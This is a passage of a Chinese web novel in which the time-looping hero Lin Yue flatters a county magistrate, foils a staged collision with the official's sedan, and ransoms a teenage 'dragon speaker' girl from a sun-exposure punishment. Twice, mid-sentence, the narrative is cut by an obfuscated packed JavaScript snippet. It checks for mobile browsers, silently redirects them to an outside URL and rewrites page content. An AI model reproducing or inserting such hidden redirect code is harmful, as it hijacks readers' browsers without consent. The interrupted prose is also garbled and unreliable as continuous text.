他快步走出僻静的小巷,回到主街。天色已经暗了下来,街上的行人明显少了,不少店铺开始打烊。远远的,他看到赵士兵正站在一个卖馕饼的摊子前,一边啃饼一边四处张望。 “赵兄!”林越招呼了一声。 赵士兵回过头,见他来了,笑着走过来:“林先生,尔去哪儿了?我在县衙门口等了半个时辰不见人,还以为尔迷路了。” “随便逛逛,顺便买了本书。”林越扬了扬手中的《清水镇地理志》。 “先生真是用功。”赵士兵佩服道,“走,咱们去找个客栈住下。明日一早再去见县尊。” 两人沿着主街往前走。镇子边缘有一片开阔的空地,原是镇上的晒谷场。此时天色虽暗,却还能看到几个衙役模样的人在那里忙活。他们正围着一个粗大的木桩,有人拿着锤子在往柱子上钉绳子,有人在旁边清理地上的杂物。 “咦,那不是老王他们吗?”赵士兵眼尖,认出了白天聊过的衙役,“这么晚了还在忙活什么?” 林越心中一动。他隐约猜到了什么,但没说破。 两人走近了些。正在钉绳子的衙役抬起头,看到赵士兵,笑着打招呼:“小赵,还没找地方住下?” “正准备去呢。老王,尔等这是在忙活什么?这大晚上的。” 老王放下锤子,擦了擦汗:“还不是为了明天那个‘晒刑’。县尊大人吩咐了,要把场地准备好。喏,这木桩就是绑人的地方,绳子要钉结实些,别到时候人掉下来了。” 赵士兵好奇地凑过去:“‘晒刑’?我头一回听说。就是把犯人绑在柱子上晒太阳?” “可不是嘛。”另一个年轻衙役接口道,“还是县尊大人仁慈,要是按律法,自称龙语者是要斩首的。但那少女不过十四五岁,县尊念她年幼,就‘法外开恩’,只罚她绑在烈日下晒五日。若是五日不死,就放了她;若是死了,便说明龙语者之说纯属谎言。” 林越站在一旁静静听着,心中却翻涌起来。五日……别说五日,就是一天晒下来,以那少女的瘦小身子,怕是都撑不住。这哪是什么法外开恩,分明是另一种形式的死刑。 老王叹了口气:“说起来那小姑娘也是……今天上午县尊大人巡视时,她突然冲出来拦住队伍,说自己是龙语者后裔,能解决河水干涸之事。县尊最讨厌装神弄鬼之人,当场就发了火。若非看她年纪实在太小,早就按律处斩了。” “县尊也是给她个教训。”年轻衙役补充道,“让她知道话不能乱说。龙语者那是传说中的存在,岂是她一个小女娃能冒充的?” 赵士兵点点头:“原来如此。那明日午时三刻,就是在这里行刑?” “对,就在这里。”老王重新拿起锤子,“你们快去找地方住吧,别耽误了明天的正事。” 林越和赵士兵告辞离开。走了几步,林越回头望了一眼晒谷场。夜色中,那根木桩的轮廓显得格外突兀。他深吸一口气,将情绪压了下去。不能急,明天先去见县官,拿到身份文书,再想办法。 两人在镇上找了家还算干净的客栈住下。一夜无话。 次日一早,林越早早起床,仔细整理好衣冠,又将刘员外给的雪顶山雾茶用布包好,这才叫上赵士兵一同前往县衙。 县衙门口已经聚了不少等着办事的人。赵士兵上前递了名帖,门房见是王千户引荐的人,不敢怠慢,连忙进去通报。不多时,门房出来,恭敬地将两人请了进去。 县衙后堂,一个五十多岁、面容严肃的男子正襟危坐。他穿着青色官服,头戴乌纱,正是清水镇的县官。 林越和赵士兵上前行礼。 “草民林越,见过县尊大人。” “卑职赵成,奉王千户之命护送林先生前来。” 县官抬起眼皮看了他们一眼,目光落在林越身上:“尔就是王千户引荐的那人?” “正是。”林越恭敬道,“草民自北而来,欲往南方求学。承蒙千户大人垂青,特来请县尊大人开具身份文书。” 县官点点头,正要说话,林越却从怀中取出那包茶叶,双手奉上:“草民初来乍到,无以为敬。听闻老夫人喜爱雪顶山雾茶,特备些许,还望县尊大人不嫌微薄。” 县官的眼睛明显亮了一下。他接过茶叶,拆开布包闻了闻,脸上露出一丝难得的笑意:“确是上好的雪顶山雾茶。家母近日正念叨此茶,尔有心了。” “老夫人喜欢就好。”林越谦逊道。 县官的态度明显和缓了许多。他吩咐旁边的书吏:“去,给林先生置办一份身份文书,盖上县衙大印。” 书吏领命而去。 县官示意两人坐下,又让人上了茶。他端着茶杯,打量了林越片刻,忽然道:“尔既是读书人,可知《孝经》有云:‘身体发肤,受之父母,不敢毁伤,孝之始也’?” 林越心中一动,知道这是考问。他连忙正色道:“回县尊,草民知道。为人子女,当爱惜身体,不使父母担忧,此为孝道之本。” “说得好。”县官赞许地点点头,“如今世风日下,许多人不知孝顺为何物。更有甚者,为求名利,不惜装神弄鬼,欺骗世人,此乃大不孝也!” 林越知道他指的是龙语少女之事,便顺着话头道:“县尊大人明察。草民以为,孝道不仅在于事亲,更在于修身。修身立德,方能为国为民。” 这话说到了县官心坎里。他抚掌笑道:“说得好!修身立德,方能为国为民。尔年纪虽轻,见识却不凡。” 接下来的一炷香时间里,县官拉着林越大谈孝道礼法,从《礼记》讲到《孟子》,又从古代圣贤讲到当今世风。林越虽不是专业读书人,但前世好歹是受过高等教育的,加上这阵子在刘府也读了些书,竟也能应付得来,偶尔还能引经据典,说得县官连连点头。一旁的赵士兵听得昏昏欲睡,但又不敢表现出来,只能强打精神陪着。 林越一边应对,一边观察县官的反应。他发现这位县官虽然古板,但并非不讲道理之人。他对孝道的执着,或许可以成为后续说服他的突破口。不过现在还不是时候,得先建立足够的信任。 好不容易,书吏拿着办好的身份文书回来了。县官亲自验看后,交给林越:“有了这份文书,尔南下之路便畅通无阻了。不过——”他顿了顿,道:“尔既是有识之士,不妨在清水镇多留几日。本官近日正为河水干涸之事烦恼,尔若有良策,不妨直言。” 林越心中暗喜,这正是他想要的机会。但他知道不能操之过急,便恭敬道:“草民才疏学浅,不敢妄言。但若县尊大人不弃,草民愿在镇上多留几日,观察了解,或能有所发现。” “甚好。”县官满意道,“那尔就多住几日。若有需要,可随时来县衙找本官。” “谢县尊大人。” 林越接过文书,仔细收好。又客气了几句,这才和赵士兵告辞出来。 走出县衙,赵士兵长舒一口气:“我的老天,可算出来了。林先生,尔可真能说,我听得都快睡着了。” 林越苦笑:“没办法,县尊大人喜欢谈这些。不过这也是好事,至少他愿意留我在镇上多住几日。” “不过尔这身份文书算是到手了。”赵士兵笑道,“有了这个,尔南下就方便多了。咱们现在去哪儿?” 林越看了看天色,已近午时。他想起晒谷场的事,便道:“先去吃点东西吧。忙了一上午,肚子也饿了。” 两人找了家酒肆,要了几个菜,一边吃一边聊。酒肆里人不少,嘈杂得很。林越却没什么胃口,心中一直惦记着那个被绑在柱子上的少女。 正吃着,旁边一桌的几个汉子忽然聊了起来。 “听说了吗?今天西边晒谷场要行‘晒刑’。” “听说了。就是那个自称龙语者的小姑娘?” “对,十四五岁的样子,瘦瘦小小的。刚才我路过那边,看到衙役正押着她往晒谷场去哩。” 林越的手一僵。他放下筷子,对赵士兵道:“赵兄,咱们去看看吧。” 赵士兵也听到了隔壁的对话,正觉得新奇:“‘晒刑’? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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越靠近,少女的模样越清晰。她的眼睛紧闭着,长长的睫毛在阳光下投出细碎的阴影。手腕处,粗粝的绳子磨破了皮肤,渗出血迹。更让林越心惊的是,她的两只手腕上都有纵横交错的疤痕,新旧叠加,触目惊心。这些疤痕看起来不像是日常劳作所致,更像是某种仪式或自残留下的痕迹。 他走到少女面前,轻声唤道:“姑娘,喝点水吧。” 少女缓缓睁开眼睛。那是一双很清澈的眼睛,但此刻充满了疲惫和痛苦。她看了看林越,又看了看他手中的水碗,轻轻点了点头。 林越将碗凑到她嘴边,小心地喂她喝水。少女小口小口地喝着,喉头轻轻滑动。一碗水很快见了底。 “还要吗?”林越问。 少女摇摇头,声音沙哑:“够了……谢谢……” 林越趁机压低声音,用只有两人能听到的音量问:“姑娘,尔脖子上挂的玉坠……是谁给你的?” 少女愣了一下,抬眼看他:“你……你怎么知道……” 这用词?林越心中一动。 “那玉坠很重要。”林越急切道,“是不是一个商人送给你的?说是富户卖给他的?” 少女的眼中闪过一丝惊讶:“是……你怎么知道?” “那玉坠现在在你身上吗?” 少女轻轻摇头:“在……商人说,那是报酬。他说清水镇有个富户卖给他这块玉坠,虽然不是珍品,但还不错。他把它送给我,希望我能用龙语恢复清水镇的盛景……让河水重新流淌……” 林越的心沉了下去,果然那个商人不对劲,他怎么知道少女是龙语者后裔又能精确找到她的,且仅用一枚小小普通玉坠,就能作为这么大事情的报酬,不是知道什么关键就是口才过于了得,这背后肯定有隐情。 他定了定神,又问:“那商人长什么样子?现在在哪里?” “他……他给了我玉坠后就离开了。”少女的声音越来越虚弱,“他说……等河水恢复了,他会再来找我……” 林越还想再问,身后却传来衙役的催促声:“喂好了就快回来!别耽搁太久!” 他只得匆匆道:“姑娘,你再坚持一下。我会想办法救你。” 少女看着他,眼中闪过一丝困惑,但还是轻轻点了点头。 林越退后几步,将空碗还给摊主,回到了人群中。赵士兵凑过来:“怎么样?” “喝了点水,好多了。”林越道,心中却在飞速思考。 商人用普通玉坠骗她使用龙语……龙语者少女即将被晒死……这一连串的事情,背后是不是有什么联系?那商人为何要欺骗一个少女使用龙语?是为了试探她的能力,还是另有目的?而玉坠的流转,从自己到商队,再到清水镇富户,最后到商人手里,这个过程中商人又扮演了什么角色? 烈日继续炙烤着大地。柱子上的少女重新闭上了眼睛,仿佛一具没有生气的木偶。 林越看着这一幕,拳头慢慢握紧。不能再等了。明天,必须行动。不仅要救出少女,还要查清楚清河断流的真正原因。他有种预感,这些背后可能隐藏着更大的秘密。 他和赵士兵离开了晒谷场,回到客栈。赵士兵累了一天,很快便睡下了。林越却毫无睡意,他坐在窗边,借着月光再次翻开《清水镇地理志》。书中关于清河断流的记载反复看了几遍,一个想法逐渐清晰起来——如果河水的干涸真的与地下结构变化有关,那么光靠龙语恐怕解决不了问题,而且看县官的表现,估计是不乐意真的有龙语出现。但县官显然不相信科学分析,只相信传统和礼法。要说服他,必须找到一个既能符合礼法,又能实际解决问题的办法。 林越揉了揉太阳穴,感觉事情比预想的更复杂。救少女只是第一步,要真正通关这个世界,必须修复水脉平衡。而这需要时间、人力和县官的支持。明天,他要先去县衙正式提出为少女“赎罪”的请求,然后逐步展开调查。 他低头看了看手腕上的黑痕,那黑色的印记似乎又增长了一小段。时间在流逝,而谜团却越来越多。 13. 巧用礼法 寅时三刻,天色还是一片濛濛的灰蓝,清水镇的石板路上已经响起了林越急促的脚步声。 他昨夜几乎没怎么合眼。在客栈油灯下,他反复推敲着今天这场“偶遇”的每一个细节——拜帖的措辞、递上的时机、站立的角度、说话的语气。这感觉,像极了穿越前通宵赶项目上线前的最后测试,每一个接口都要反复调用,每一个异常都要预判处理。只是这次,他要调用的不是代码,而是人心;要处理的异常不是bug,而是死亡。 拜帖是昨晚就写好的。纸是向客栈掌柜讨来的粗糙黄麻纸,墨是借了账房先生半块快磨秃的墨锭。林越用新学的大炎官话,尽量工整地写下几行字: “后学末进林越,谨拜县尊大人台前。闻大人日行巡查,体察民隐,仁风惠政,泽被乡梓。小子不才,心向往之,斗胆请随行左右,观摩学习,以广见闻,以明事理。伏乞允准。” 写完之后,他对着那几行字看了半晌,心里忍不住吐槽:这要是放在现代,不就是“领导您好,听说您今天下基层调研,我想跟着学习一下,求带”吗?不过加了点文言文buff,显得逼格高了点。但正是这点“逼格”,可能就决定了县官是觉得他“知礼数”还是“不知天高地厚”。 天刚微亮,县衙那两扇厚重的黑漆大门还紧闭着。门前两只石狮子在晨雾中蹲踞,咧着嘴,像是在嘲笑每一个来此求见的人。林越整了整身上那套粗布衣裳——这是他在黄壤屯时,刘员外家周管家给他置办的,洗得发白,但干净整齐,既不太寒酸,也不会显得刻意张扬。 他深吸一口气,走到侧边的小门,轻轻叩响了门环。 开门的是个睡眼惺忪的老门房,裹着件破棉袄,一脸不耐烦:“谁啊?这么早!” 林越躬身,将拜帖双手递上,同时从袖中摸出几个铜钱,不动声色地塞进对方手里——这是昨天向赵士兵打听来的“规矩”:“劳烦老伯,将此帖呈与县尊大人。小子林越,在此候着。” 老门房掂了掂手里的铜钱,脸色稍霁,嘟囔了一句“等着”,便接过拜帖,转身进去了。 等待的时间格外漫长。晨雾渐渐散去,街上开始有了人声。挑着担子的菜农、赶早市的货郎、睡眼惺忪打开铺板的店家……清水镇一点点苏醒过来。林越站在衙门外墙的阴影里,眼睛盯着那扇小门,耳朵却竖起来,捕捉着街上的每一丝动静。 他在心里反复默背着那汉子的话:“年纪跟尔差不多,二十出头,血气方刚。他在街上跟县官大人的轿子撞上了——也不是故意的,就是人多,挤来挤去,不小心撞到了轿子。” 关键信息:年轻,男性,二十出头。地点:街上。时间:县官巡查时。原因:人多拥挤,意外撞轿。 但“意外”真的只是意外吗?林越经历过太多次“意外”了——第一次轮回,他不过是问了个价钱,就成了“细作”;第二次,他只是沉默,就成了“不敬”;第三次,他只是说错一个字,就成了“亵渎”。在这个世界里,“意外”往往意味着“有罪”。 他又想起昨天在衙门口,那几个衙役闲扯时的话: “最近牢里空得很,没啥新货。” “可不是,连个偷鸡摸狗的都没逮着。” “县尊大人最近心情不错,前天还赏了咱们一坛酒呢。” 没有类似的小伙子判刑——这意味着,如果那汉子说的是真的,那么事件还没发生。而县官每天巡查的时间是固定的:早饭后,辰时左右。那么,撞轿事件只可能发生在今天。 突破口。林越握紧了拳头。指甲掐进掌心,带来一丝刺痛,让他保持清醒。如果我能阻止这件事,不光能救下那个倒霉蛋,也许还能在县官面前刷一波好感度。救少女的计划,就多了一分把握。 正想着,小门“吱呀”一声开了。老门房探出头来,脸上竟带着几分诧异:“小子,进来吧。大人在花厅见尔。” 林越心中一动,连忙躬身道谢,跟着走了进去。 县衙内比外面看起来要宽敞些,但也透着股陈腐气。青砖铺地,缝隙里长着暗绿的苔藓。廊柱上的红漆斑斑驳驳,露出里面黑褐的木纹。空气里有股淡淡的霉味,混合着墨汁和旧纸张的气息。 花厅里,县官已经换好了官服——深青色圆领袍,胸前补子绣着只说不清是鸬鹚还是鹌鹑的鸟。他正端着一只白瓷盖碗,慢条斯理地吹着热气。见林越进来,只抬了抬眼,没说话。 林越立刻跪下行礼:“小人林越,拜见县尊大人。” “起来吧。”县官的声音不高,带着点晨起的沙哑。他放下茶碗,目光在林越身上打量了一圈,“尔今日是来作甚?” “谢过县尊大人。小人是特来拜见大人想要观摩学习的。”林越起身,垂手站着,视线落在县官脚前的地面上——这是周管家教他的,见官时不可直视,但也不能完全低头,显得畏缩。 “雪顶山雾茶,确是难得。”县官捻了捻胡须,脸上露出一丝满意,“吾母饮后,精神好了许多。尔有心了。” “大人孝心感天,小人不过是借花献佛。”林越谨慎地答道。 “嗯。”县官点点头,又端起茶碗呷了一口,“拜帖上说,想随本官巡查,观摩学习?” “是。小人初到清水镇,见大人每日不辞辛劳,巡视乡里,体察民情,心中敬佩。故冒昧恳请,若能随行一观,学习大人治政之风,于小人必是终生受益。”林越把昨晚想好的词儿一股脑倒出来,语气诚恳,姿态放得极低。 县官没立刻回答。厅里静了片刻,只有他喝茶时轻微的啜饮声。林越能感觉到对方的目光在自己身上扫来扫去,像是在掂量什么。这是在评估我的价值?还是怀疑我的动机?一个外地来的年轻人,突然献茶,又突然要跟着巡查——确实可疑。但他既然愿意见我,说明茶叶起作用了。现在,他需要的是一个合理的解释…… “尔倒是会说话。”县官终于开口,语气里听不出喜怒,“不过,巡查并非儿戏。衙役开道,百姓围观,稍有差池,便是失了官家体面。尔跟在旁边,可能守规矩?” “小人必谨言慎行,绝不逾矩。大人行进,小人便跟在三步之后;大人问话,小人方敢应答;大人未言,小人绝不发声。只求一观,绝不敢添乱。”林越立刻保证。 又是一阵沉默。 然后,县官轻轻摆了摆手:“罢了。念尔孝心可嘉,又知礼数,便允了。今日巡查,尔就跟在队伍侧后方,莫要靠近轿子,莫要与百姓搭话,莫要东张西望——明白么?” “明白!谢大人恩典!”林越连忙再次跪下叩首,心里那块大石头,总算落了一半。 辰时初,巡查队伍准备出发。 林越站在衙门口的石阶下,看着衙役们忙忙碌碌。四个身材魁梧的皂隶手持水火棍,分列轿子两侧——这是开道的。另有八个普通衙役,挎着腰刀,跟在轿子后面。还有一个师爷模样的瘦高个,捧着个木匣子,里面大概是文书印信之类。轿子是一顶两人抬的蓝布小轿,不算华丽,但干干净净。 县官从衙门里走出来,官袍整齐,冠戴端正。他扫了一眼队伍,目光在林越身上顿了顿,没说什么,径直上了轿。 “起——轿——!”领头的皂隶拉长声音喊了一声。 轿子被稳稳抬起。队伍开始移动。 林越深吸一口气,跟了上去。他保持在大约三步的距离,走在队伍右侧稍后一点的位置——既不会挡了衙役的路,又不会离轿子太近,惹人注目。这个距离,是他在心里反复计算过的:足够观察前方和两侧的情况,又不会让县官觉得被冒犯。 清晨的清水镇,街道上人还不算多。但县官出巡毕竟是个稀罕事,消息像水波纹一样荡开,沿途渐渐聚起了看热闹的百姓。 他们从巷口探出头,从店铺里走出来,三三两两聚在路边,伸着脖子,指指点点,交头接耳的声音嗡嗡作响,像一群被惊动的麻雀。 “看,县太爷出来了!” “今儿个怎么这么早?” “旁边那小子是谁?没见过啊……” “怕不是新来的师爷?” 林越尽量让自己显得平静,但眼睛却像扫描仪一样,快速地在人群中检索。 年轻,男性,二十出头,血气方刚…… 他的视线扫过一张张面孔:挑着菜担的老农,满脸皱纹,不是;抱着孩子的妇人,不是;蹲在墙角晒太阳的老头,不是;几个半大孩子追打着跑过,太小…… 不能急。他对自己说。事件发生的时间不确定,可能是巡查开始,也可能是中途,甚至可能是回程。地点也不确定——只是“街上”。范围太大了。 他强迫自己放松紧绷的肩膀,调整呼吸。过度紧张反而会让人忽略细节。这是他在无数次加班赶deadline时学会的:越是压力大,越要冷静。 队伍经过镇中心的十字路口。这里稍微开阔些,旁边有几家茶摊、一个卖早点的铺子,还有一个算命的卦摊。人流明显密集起来。 林越的注意力高度集中。他注意到,路边的百姓虽然都在看热闹,但表情各异:有的敬畏,有的好奇,有的麻木,还有的……眼神闪烁,像是在盘算什么。 他的目光落在茶摊旁。 那里围着一圈人,大概七八个,都是青壮年汉子,穿着短打,像是刚干完活的脚夫或者工匠。他们没像其他人那样规规矩矩站在路边,而是聚在一起,推推搡搡,声音有点大,似乎在争执着什么。 林越的心跳漏了一拍。 他眯起眼睛,仔细看。人群中间,似乎有个穿灰色衣服的精瘦汉子,正侧着身子,用手肘和后背,不动声色地把周围的人往外挤。而被挤的人又下意识地往旁边躲,连锁反应之下,整个人堆开始缓缓地、不易察觉地向路中央移动。 不对劲。林越的神经瞬间绷紧。这不是普通的争执……这是在制造混乱! 他立刻想起穿越前看过的一些社会新闻:某些扒手或者诈骗团伙,会故意在人群中制造拥挤,趁机下手,或者制造混乱转移视线。 难道撞轿事件,根本不是意外,而是有人故意为之? 可是,目的是什么?刺杀县官?不太可能,这种程度的拥挤顶多让轿子晃一晃。勒索?碰瓷?还是……单纯就是恶作剧? 林越来不及细想。他的眼睛死死盯住那个人堆的边缘——在那里,一个穿着洗得发白的蓝布衫的年轻小伙子,正努力想站稳。他背对着路中央,显然还没意识到危险。但身后传来的推力越来越大,他脚下已经开始踉跄…… 时间仿佛变慢了。 林越能看到那小伙子脸上茫然的表情,能看到他试图抓住旁边人的袖子却抓了个空,能看到他的身体一点点倾斜,正对着轿子的方向…… 轿子还在平稳前行。抬轿的轿夫低着头,数着步子。轿帘低垂,里面的县官大概在闭目养神。衙役们目不斜视,维持着队列。 没有人注意到那个即将发生的“意外”。 除了林越。 就是今天。就是现在。就是这个人! 所有的信息在这一刻重叠:轮回中汉子的描述、衙役的闲聊、眼前的情景……像拼图一样,“咔嚓”一声,严丝合缝。 林越的脑子里闪过无数个念头:冲上去拉住他?大喊提醒?还是…… 但他没有时间权衡利弊了。 身体先于意识行动了起来。 就是现在! 电光石火间,林越甚至没时间细想,身体已经先一步冲了出去。他几乎是贴着地面窜过去,赶在那小伙子完全摔出人群、即将扑倒在轿子前方的瞬间,一把攥住了对方的手臂,用力往自己这边一带。 “站稳了!”林越低喝一声,同时用另一只手挡开侧面涌来的人。 小伙子惊魂未定,脸色煞白,茫然地看着林越,又惊恐地瞥向近在咫尺的官轿。 “都给我停下!散开!不许挤!”林越拔高声音,朝着跟在队伍后面的几个衙役喊道,“几位差爷,这里有奸人故意制造混乱,意图冲撞官轿!” 那几个衙役原本也有些松懈,被这一嗓子喊得激灵一下。他们顺着林越手指的方向,果然看到那精瘦汉子还在鬼鬼祟祟地缩着脖子想往人群里钻。几人顿时来了精神,呼喝着“站住!”“抓住他!”便扑了上去,几下就将那汉子按倒在地,顺便也驱散了周围骚动的人群。 整个过程其实不过十几个呼吸。轿子里的县官甚至没察觉到外面的具体变故,只觉得队伍稍微停顿了一下,然后衙役们的呼喝声传来,很快又恢复了平静。他只当是寻常的维持秩序,并未在意。 林越松开小伙子的手臂,低声快速说道:“没事了,赶紧走,离远点。” 小伙子这才如梦初醒,连连点头,也顾不上道谢,转身就钻进了旁边的小巷,消失不见。 一场可能的“冲撞之祸”,消弭于无形。 巡查继续进行,直到走完预定路线,返回县衙。 后堂内,县官褪下官服,换了身常服,端起下人奉上的热茶,这才抬眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119399|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向恭敬站在下方的林越。 “今日巡查,途中有片刻骚动,”县官慢条斯理地吹着茶沫,“尔当时似乎就在近前,可知是何缘故?” 林越心知这是表现的机会,也是考验。他躬身,语气平稳而清晰:“回大人话。当时在茶摊附近,人群聚集,有小民不慎被挤,险些失足。小人恰好看见,怕其万一跌倒惊扰大人车驾,便上前扶了一把。同时发现似有宵小混杂其中,趁机推攘生事,意图不明。故请差爷将其拿下,以儆效尤,维护大人威严与巡查秩序。” 他没有夸大,也没提自己“预知”,只陈述客观事实,重点落在“维护秩序”和“保护大人威严”上。 县官听完,眼中闪过一丝满意。他放下茶盏,捋了捋胡须:“嗯……尔倒是机警,也懂礼数。知道什么该做,什么不该说。” “小人只是尽本分。”林越把头垂得更低了些。 “本分?”县官轻笑一声,“这年头,懂得‘本分’二字的,可不多了。那些愚民,要么畏官如虎,要么无知无畏,似尔这般既知敬畏又晓变通的,倒是难得。” 他顿了顿,似乎想起了什么:“昨日尔献上那雪顶山雾茶,甚合吾母心意,也算是帮本官全了一份孝道。” 林越心中微动,知道戏肉来了,但面上仍保持恭谨。 县官又想起林越之前献上的茶叶,“尔确不错,帮我全了孝道,说吧,想求我甚?” 林越的心跳骤然加快。来了,最关键的时刻。他在心中默念,强迫自己冷静下来。膝盖一弯,“噗通”一声跪倒在地,额头重重叩在青砖上,发出沉闷的响声。 “小人斗胆……”他深吸一口气,声音压得低沉却异常清晰,每个字都像从胸腔里挤出来,“小人只求赎一人——便是前日被捕的那名少女。” 厅内一片寂静。林越能听到自己心脏在胸腔里擂鼓般的跳动,也能感觉到县官落在他身上的视线骤然变得锐利。 “她自称龙语者后裔,想为镇子解决水患,”林越继续道,保持着叩首的姿势,额头抵着冰凉的地面,“小人听镇上人议论,说她不过十四五岁年纪,尚年幼,贪玩闹,许是看多了话本子,学了点江湖术士的把戏,便出来胡言乱语。” 他顿了顿,调整了一下呼吸,语速放缓,带上几分恳切:“县尊大人您怜惜晚辈,教育她一番是理所应当。您将她缚于衙前日头下曝晒,是让她知晓厉害,莫再装神弄鬼,贻害乡里。这惩戒,小人以为极是妥当。” 对,就这么说。林越在心里给自己打气,把她的‘罪过’往轻里说,往‘年少无知’上引,把县官的惩罚往‘用心良苦’上捧。 “可如今这日头……”他抬起头,脸上恰到好处地露出一丝不忍,“着实烈得很。小人今日经过衙前,瞧见她……已是皮开肉绽,气息奄奄。明日便是第三日,这般教训,想必足够让她铭记终身了。” 他再次叩首,额头触碰青砖的瞬间,冰冷的感觉让他清醒:“小人斗胆,恳请大人开恩,饶了她这一回。她若再犯,自有国法处置,但这次……求大人给她一个改过自新的机会。” 说完,他便伏在地上,一动不动,维持着最谦卑的姿态。背上,冷汗已经悄无声息地浸透了粗布衣衫,黏腻地贴在皮肤上。但他不敢有丝毫颤抖,甚至连呼吸都尽量放轻。 时间仿佛凝固了。 林越能听到县官指尖轻轻叩击桌面的声音,“嗒、嗒、嗒”,每一下都敲在他的神经上。这声音让他想起穿越前办公室里,领导敲键盘时那种不紧不慢的节奏——同样是决定命运的时刻。 这是在评估我的动机,还是在掂量这事的利弊?林越的脑子飞速运转。救一个不相干的少女,对他有什么好处?体现他的仁慈?还是……他其实也在找台阶下?毕竟真晒死人,传出去也不好听…… “尔倒是有心。” 县官终于开口了,声音里听不出喜怒,只是平淡得像在陈述一个事实。可那平淡之下,似乎藏着什么别的东西。 林越不敢接话,依旧伏着。 “前日献茶,是为全本官孝道,”县官慢慢说道,指尖叩击桌面的节奏没变,“今日巡查,是维护本官威严。如今……又要替一个不相干的少女求情。” 他顿了顿,忽而轻笑一声,那笑声里带着几分说不清的意味:“尔这‘有心’,究竟是为本官,还是为那少女?” 林越心中一凛。这是在试探我是不是和那少女一伙的!他立刻道:“回大人,小人自然是敬重大人。那少女有错,大人惩戒得对。小人只是……只是见她年幼,又受了足够教训,心生不忍。若大人觉得惩戒尚不足,小人绝不敢多言。” 又是一阵沉默。 然后,县官叩击桌面的手指停了下来。 “罢了。”他淡淡道,声音里多了一丝不易察觉的疲惫,“念尔孝心可嘉,又识大体,本官便允了。” 林越的心猛地一跳,几乎要从嗓子眼里蹦出来。 “不过,”县官话锋一转,语气陡然转冷,“死罪可免,活罪难逃。那少女暂且交予尔监管。她若逃逸,或再生妄言,惹出祸端——” 他的声音压低了半分,每一个字都像冰锥,狠狠扎进林越耳中: “尔便以命相抵。” 林越浑身一僵,后背的冷汗瞬间变得冰冷。但他没有丝毫迟疑,立刻再次叩首,额头撞在砖地上,发出“咚”的一声闷响: “谢大人恩典!小人必严加监管,绝不敢有负大人信任!” “起来吧。”县官挥了挥手,像是驱赶一只无关紧要的苍蝇,“跟师爷拿份保状,去刑场那里找看管的衙役,自有人带尔领人。拿着保状,领了人,按上手印,便可带走。” “是!” 林越起身,垂手退后几步,这才转身快步离开花厅。直到走出后堂,穿过回廊,来到前院,被清晨的阳光一照,他才发现自己的腿有些发软。 成了。他扶住廊柱,深深吸了几口气,冰凉的气息灌入肺里,稍稍平复了翻腾的情绪。虽然搭上了自己的命作担保……但至少,她不用被活活晒死。 他定了定神,整理了一下衣袍,跟师爷说明后拿到了保状。袖子里,那纸刚刚写好的保状——上面用歪歪扭扭的字迹写着他林越的名字,按着一个鲜红的指印——被他小心地折好,塞进怀里最贴身的位置。 那张纸轻飘飘的,却重得让他几乎喘不过气。 因为那上面写着的,不止是少女的监管之责。 还有他林越的命。 14. 地下水道 林越出了县衙,怀里揣着那张滚烫的保状,脚下却没停。 他立刻赶去了镇上唯一一间像样的医馆。大夫是个干瘦的老头,正靠在药柜边打盹。林越敲了敲柜台,等对方睁开惺忪的睡眼,便飞快地报出需求:“晒伤,极严重,皮开肉绽,可能要化脓。需要外敷的药膏,能镇痛、清凉、防溃烂的。还有,她可能脱水严重,需要补水的汤药,温和些,别太刺激肠胃。最好能准备些清淡的米粥或汤水,随时能热了喝。” 老头被他一连串的话说得一愣,上下打量他:“什么人?” “一个……被罚晒刑的。”林越顿了顿,“明日午时就能接出来。” 老头了然,没多问,转身从柜子里翻找。林越站在满是药味的铺子里,听着外面街上隐约的人声,心里快速盘算着时间。明日午时……从现在到那时,还有差不多一天一夜。少女已经在烈日下暴晒了两天,第三天正午的太阳最毒,能不能撑到那个时辰,都是未知数。 但他不能提前去救。县官的保状,白纸黑字写的是“第三日午时后可领人”。早一刻,都可能被视为抗命。 他只能把准备工作做到最细。 “这瓶‘玉露清凉膏’,专治晒伤溃烂。”老头递过来一个白瓷小罐,“每日早晚敷一次,敷前用温盐水洗净伤口。这包‘益气生津散’,熬成汤,分三次服,能补水补气。至于粥食……东街李记的熬粥最细,加些山药或莲子最好。” 林越接过药,付了钱,道了声谢,转身又出了医馆。 接着是采买。云瑶从刑场上被救下来,身上那套粗布衣裳怕是早就被汗水、血水浸透,又曝晒得发硬发脆,根本没法再穿。林越去了镇上几家成衣铺,挑了套质地最柔软、颜色最素净的粗麻衣裙,又买了中衣、布袜、鞋履。想了想,又添了条薄被、一套盥洗用的木盆布巾、一只装水的陶罐和几个粗瓷碗。 希望她能撑到用上这些东西的时候。他把大包小裹提回客栈,跟掌柜又要了一间房,就在自己隔壁。 “客官,这……”掌柜有些迟疑,“一个人住两间?” “有朋友要来。”林越简短地说,没多解释。 午饭草草对付了几口。林越回到房间,关上门,从行李里翻出那本《清水镇地理志》,摊在桌上。他直接翻到后面附录的地形图,手指沿着那条标注为“清河”的干涸河道往上划。 地图很简陋,只有大致轮廓和主要地标。清水镇位于河床下游的冲积平原上,地势平坦。往上游去,约莫十里外,地势开始抬升,进入丘陵地带。再往上,就是连绵的山峦,地图边缘只画了个示意,标注着“雪顶山脉余脉”。 他尤其仔细地查看旁边小字注释的历年水势走向记载。清河并非一直干涸,至少在三十年前,还是一条水量充沛、能行小船的河流。断流是三年前秋天开始的,先是水量骤减,不到一个月就彻底见了底。源头疑似有变,但具体原因不明。 